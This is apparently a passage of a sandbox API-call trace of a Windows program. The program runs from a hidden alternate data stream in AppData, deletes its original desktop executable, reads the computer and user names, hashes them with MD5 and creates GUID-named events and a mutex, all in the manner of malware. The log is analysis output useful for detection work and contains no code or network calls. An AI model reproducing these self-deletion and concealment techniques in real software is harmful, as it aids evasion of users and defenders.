CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDACLSYS.DLL", cchWideChar=12, lpMultiByteStr=0x1d7c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DDACLSYS.DLL", lpUsedDefaultChar=0x0) returned 12 [0031.352] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb2e5d95, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xfb2e5d95, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x87a5b910, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="DDOIProxy.dll", cAlternateFileName="")) returned 1 [0031.352] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDOIPROXY.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0031.352] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDOIPROXY.DLL", cchWideChar=13, lpMultiByteStr=0x1d7c288, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DDOIPROXY.DLL", lpUsedDefaultChar=0x0) returned 13 [0031.353] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff187ed0, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xff187ed0, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x88511440, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5fce00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="DDORes.dll", cAlternateFileName="")) returned 1 [0031.353] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDORES.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0031.353] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDORES.DLL", cchWideChar=10, lpMultiByteStr=0x1d7c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DDORES.DLL", lpUsedDefaultChar=0x0) returned 10 [0031.353] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e74d256, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x8e74d256, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x885f4510, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x81e00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="ddraw.dll", cAlternateFileName="")) returned 1 [0031.353] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDRAW.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0031.353] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDRAW.DLL", cchWideChar=9, lpMultiByteStr=0x1d7c288, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DDRAW.DLL", lpUsedDefaultChar=0x0) returned 9 [0031.353] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95b0bd0c, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x95b0bd0c, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x88642710, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x7600, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="ddrawex.dll", cAlternateFileName="")) returned 1 [0031.353] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDRAWEX.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0031.353] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DDRAWEX.DLL", cchWideChar=11, lpMultiByteStr=0x1d7c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DDRAWEX.DLL", lpUsedDefaultChar=0x0) returned 11 [0031.353] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1ba2bbc, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1ba2bbc, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1bc8d1d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x35e00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="defaultlocationcpl.dll", cAlternateFileName="")) returned 1 [0031.353] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DEFAULTLOCATIONCPL.DLL", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0031.353] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="DEFAULTLOCATIONCPL.DLL", cchWideChar=22, lpMultiByteStr=0x1d7c288, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEFAULTLOCATIONCPL.DLL", lpUsedDefaultChar=0x0) returned 22 [0031.353] FindNextFileW (in: hFindFile=0x2c2820, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e1326ca, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x4e1326ca, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x887257e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xba00, dwReserved0=0x77585f8b, dwReserved1=0x18fd10, cFileName="deskadp.dll", cAlternateFileName="")) returned 1 [0031.356] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="shell32.dll", BaseAddress=0x18fdb0 | out: BaseAddress=0x18fdb0*=0x75670000) returned 0x0 [0031.368] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c288) returned 1 [0031.368] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e8c8) returned 1 [0031.368] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e840) returned 1 [0031.368] FindClose (in: hFindFile=0x2c2820 | out: hFindFile=0x2c2820) returned 1 [0031.368] CommandLineToArgvW (in: lpCmdLine="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\OUSCAN~1:bin C:\\Users\\5P5NRG~1\\Desktop\\MSADER~1.EXE", pNumArgs=0x18fddc | out: pNumArgs=0x18fddc) returned 0x2d2f18*="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\OUSCAN~1:bin" [0031.368] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x10) returned 0x1d7d5e8 [0031.368] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d288 [0031.368] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e268 [0031.368] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7d278 [0031.368] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e840 [0031.368] LocalFree (hMem=0x2d2f18) returned 0x0 [0031.368] Wow64DisableWow64FsRedirection (in: OldValue=0x18fdd8 | out: OldValue=0x18fdd8*=0x0) returned 1 [0031.368] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x800) returned 0x1d97cf8 [0031.368] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1d97cf8, nSize=0x200 | out: lpFilename="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\OUSCAN~1:bin" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\ouscan~1:bin")) returned 0x2e [0031.368] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x800) returned 0x1d98500 [0031.368] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1d98500, nSize=0x200 | out: lpFilename="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\OUSCAN~1:bin" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\ouscan~1:bin")) returned 0x2e [0031.369] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e8c8 [0031.369] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e950 [0031.369] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e8c8) returned 1 [0031.369] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e950) returned 1 [0031.369] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e950 [0031.369] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\Desktop\\MSADER~1.EXE" (normalized: "c:\\users\\5p5nrg~1\\desktop\\msader~1.exe"), fInfoLevelId=0x0, lpFileInformation=0x18fbfc | out: lpFileInformation=0x18fbfc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5035ac00, ftCreationTime.dwHighDateTime=0x1d5d030, ftLastAccessTime.dwLowDateTime=0x50ce4280, ftLastAccessTime.dwHighDateTime=0x1d5d030, ftLastWriteTime.dwLowDateTime=0x4f047f00, ftLastWriteTime.dwHighDateTime=0x1d5d030, nFileSizeHigh=0x0, nFileSizeLow=0x25000)) returned 1 [0031.370] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e8c8 [0031.370] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\Desktop\\MSADER~1.EXE" (normalized: "c:\\users\\5p5nrg~1\\desktop\\msader~1.exe"), fInfoLevelId=0x0, lpFileInformation=0x18fbf8 | out: lpFileInformation=0x18fbf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5035ac00, ftCreationTime.dwHighDateTime=0x1d5d030, ftLastAccessTime.dwLowDateTime=0x50ce4280, ftLastAccessTime.dwHighDateTime=0x1d5d030, ftLastWriteTime.dwLowDateTime=0x4f047f00, ftLastWriteTime.dwHighDateTime=0x1d5d030, nFileSizeHigh=0x0, nFileSizeLow=0x25000)) returned 1 [0031.370] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x184) returned 0x1d98d08 [0031.370] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c288 [0031.370] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.370] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c240 [0031.371] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c0d8 [0031.371] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c900 [0031.371] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c948 [0031.371] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c990 [0031.371] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c9d8 [0031.371] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7ca20 [0031.371] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7ca68 [0031.371] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7cab0 [0031.371] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7caf8 [0031.371] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7cb40 [0031.371] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7cb88 [0031.371] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7cbd0 [0031.371] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d98eb0 [0031.371] SetFileAttributesW (lpFileName="C:\\Users\\5P5NRG~1\\Desktop\\MSADER~1.EXE", dwFileAttributes=0x80) returned 1 [0031.376] DeleteFileW (lpFileName="C:\\Users\\5P5NRG~1\\Desktop\\MSADER~1.EXE" (normalized: "c:\\users\\5p5nrg~1\\desktop\\msader~1.exe")) returned 1 [0031.377] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e8c8) returned 1 [0031.377] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e950) returned 1 [0031.377] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e950 [0031.377] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e950) returned 1 [0031.377] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e950 [0031.377] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x100) returned 0x1d99e98 [0031.377] GetEnvironmentVariableW (in: lpName="COMPUTERNAME", lpBuffer=0x1d99e98, nSize=0x40 | out: lpBuffer="XDUWTFONO") returned 0x9 [0031.377] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99e98) returned 1 [0031.377] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e950) returned 1 [0031.377] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e950 [0031.377] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0031.377] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d98ef8 [0031.377] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, lpMultiByteStr=0x1d98ef8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="XDUWTFONO", lpUsedDefaultChar=0x0) returned 9 [0031.377] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d98f40 [0031.377] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d98ef8) returned 1 [0031.377] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e950) returned 1 [0031.377] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d98ef8 [0031.377] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d98f88 [0031.377] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d98fd0 [0031.377] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99018 [0031.377] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99060 [0031.377] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e950 [0031.378] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x100) returned 0x1d99e98 [0031.378] GetEnvironmentVariableW (in: lpName="USERNAME", lpBuffer=0x1d99e98, nSize=0x40 | out: lpBuffer="5p5NrGJn0jS HALPmcxz") returned 0x14 [0031.378] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99e98) returned 1 [0031.378] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e950) returned 1 [0031.378] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x80) returned 0x1d7e950 [0031.378] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="5p5NrGJn0jS HALPmcxz", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0031.378] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d990a8 [0031.378] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="5p5NrGJn0jS HALPmcxz", cchWideChar=20, lpMultiByteStr=0x1d990a8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5p5NrGJn0jS HALPmcxz", lpUsedDefaultChar=0x0) returned 20 [0031.378] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d990f0 [0031.378] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d990a8) returned 1 [0031.378] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7e950) returned 1 [0031.378] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d990f0) returned 1 [0031.378] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d990f0 [0031.378] CryptAcquireContextW (in: phProv=0x18fc30, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18fc30*=0x2d3b18) returned 1 [0031.379] CryptCreateHash (in: hProv=0x2d3b18, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x18fc30 | out: phHash=0x18fc30) returned 1 [0031.379] CryptHashData (hHash=0x2c2820, pbData=0x1d98f88, dwDataLen=0x20, dwFlags=0x0) returned 1 [0031.379] CryptGetHashParam (in: hHash=0x2c2820, dwParam=0x4, pbData=0x18fc34, pdwDataLen=0x18fc40, dwFlags=0x0 | out: pbData=0x18fc34, pdwDataLen=0x18fc40) returned 1 [0031.379] CryptGetHashParam (in: hHash=0x2c2820, dwParam=0x2, pbData=0x1d990f0, pdwDataLen=0x18fc34, dwFlags=0x0 | out: pbData=0x1d990f0, pdwDataLen=0x18fc34) returned 1 [0031.379] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d990a8 [0031.379] CryptDestroyHash (hHash=0x2c2820) returned 1 [0031.379] CryptReleaseContext (hProv=0x2d3b18, dwFlags=0x0) returned 1 [0031.379] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d990f0) returned 1 [0031.379] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d990f0 [0031.379] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99138 [0031.379] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d990f0) returned 1 [0031.379] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d990f0 [0031.379] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d990f0) returned 1 [0031.379] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99138) returned 1 [0031.379] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d990a8) returned 1 [0031.379] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d990a8 [0031.380] OpenEventA (dwDesiredAccess=0x100002, bInheritHandle=0, lpName="{DB697C21-3780-0C33-4345-2F1B4C2F2F3D}") returned 0x0 [0031.380] GetLastError () returned 0x2 [0031.380] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x5000) returned 0x1d92850 [0031.380] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99138 [0031.380] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99138) returned 1 [0031.380] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0031.380] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d92850) returned 1 [0031.380] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x2bb2d0, lpbSaclPresent=0x18fbf8, pSacl=0x18fc4c, lpbSaclDefaulted=0x18fbf8 | out: lpbSaclPresent=0x18fbf8, pSacl=0x18fc4c, lpbSaclDefaulted=0x18fbf8) returned 1 [0031.381] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99138 [0031.381] CreateEventA (lpEventAttributes=0x18fc40, bManualReset=1, bInitialState=0, lpName="{DB697C21-3780-0C33-4345-2F1B4C2F2F3D}") returned 0xec [0031.381] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99138) returned 1 [0031.381] GetLastError () returned 0x0 [0031.381] SetSecurityInfo () returned 0x0 [0031.628] LocalFree (hMem=0x2bb2d0) returned 0x0 [0031.628] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99138 [0031.628] CryptAcquireContextW (in: phProv=0x18fc30, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18fc30*=0x2d3bf0) returned 1 [0031.629] CryptCreateHash (in: hProv=0x2d3bf0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x18fc30 | out: phHash=0x18fc30) returned 1 [0031.629] CryptHashData (hHash=0x2c2820, pbData=0x1d98f88, dwDataLen=0xb, dwFlags=0x0) returned 1 [0031.629] CryptGetHashParam (in: hHash=0x2c2820, dwParam=0x4, pbData=0x18fc34, pdwDataLen=0x18fc40, dwFlags=0x0 | out: pbData=0x18fc34, pdwDataLen=0x18fc40) returned 1 [0031.629] CryptGetHashParam (in: hHash=0x2c2820, dwParam=0x2, pbData=0x1d99138, pdwDataLen=0x18fc34, dwFlags=0x0 | out: pbData=0x1d99138, pdwDataLen=0x18fc34) returned 1 [0031.629] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d990f0 [0031.629] CryptDestroyHash (hHash=0x2c2820) returned 1 [0031.629] CryptReleaseContext (hProv=0x2d3bf0, dwFlags=0x0) returned 1 [0031.629] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99138) returned 1 [0031.629] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99138 [0031.629] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99180 [0031.629] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99138) returned 1 [0031.629] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99138 [0031.629] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99138) returned 1 [0031.629] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99180) returned 1 [0031.629] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d990f0) returned 1 [0031.629] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d990f0 [0031.629] OpenEventA (dwDesiredAccess=0x100002, bInheritHandle=0, lpName="Global\\{92EAD6E2-16CB-825D-3763-CAC9D6ED414E}") returned 0x0 [0031.630] GetLastError () returned 0x2 [0031.630] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x5000) returned 0x1d92850 [0031.630] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99180 [0031.630] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99180) returned 1 [0031.630] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0031.630] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d92850) returned 1 [0031.630] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x2bb2d0, lpbSaclPresent=0x18fbf8, pSacl=0x18fc4c, lpbSaclDefaulted=0x18fbf8 | out: lpbSaclPresent=0x18fbf8, pSacl=0x18fc4c, lpbSaclDefaulted=0x18fbf8) returned 1 [0031.630] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99180 [0031.630] CreateEventA (lpEventAttributes=0x18fc40, bManualReset=1, bInitialState=0, lpName="Global\\{92EAD6E2-16CB-825D-3763-CAC9D6ED414E}") returned 0x104 [0031.631] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99180) returned 1 [0031.631] GetLastError () returned 0x0 [0031.631] SetSecurityInfo () returned 0x0 [0031.631] LocalFree (hMem=0x2bb2d0) returned 0x0 [0031.631] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99180 [0031.631] CryptAcquireContextW (in: phProv=0x18fc30, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18fc30*=0x2d5c68) returned 1 [0031.632] CryptCreateHash (in: hProv=0x2d5c68, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x18fc30 | out: phHash=0x18fc30) returned 1 [0031.632] CryptHashData (hHash=0x2c2820, pbData=0x1d98f88, dwDataLen=0xb, dwFlags=0x0) returned 1 [0031.632] CryptGetHashParam (in: hHash=0x2c2820, dwParam=0x4, pbData=0x18fc34, pdwDataLen=0x18fc40, dwFlags=0x0 | out: pbData=0x18fc34, pdwDataLen=0x18fc40) returned 1 [0031.632] CryptGetHashParam (in: hHash=0x2c2820, dwParam=0x2, pbData=0x1d99180, pdwDataLen=0x18fc34, dwFlags=0x0 | out: pbData=0x1d99180, pdwDataLen=0x18fc34) returned 1 [0031.632] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99138 [0031.632] CryptDestroyHash (hHash=0x2c2820) returned 1 [0031.632] CryptReleaseContext (hProv=0x2d5c68, dwFlags=0x0) returned 1 [0031.632] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99180) returned 1 [0031.632] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99180 [0031.632] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d991c8 [0031.632] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99180) returned 1 [0031.633] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99180 [0031.633] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99180) returned 1 [0031.633] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d991c8) returned 1 [0031.633] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d99138) returned 1 [0031.633] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d99138 [0031.633] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d991c8 [0031.633] OpenMutexA (dwDesiredAccess=0x100002, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x0 [0031.633] RtlFreeHeap (HeapHandle=0x1d70000, 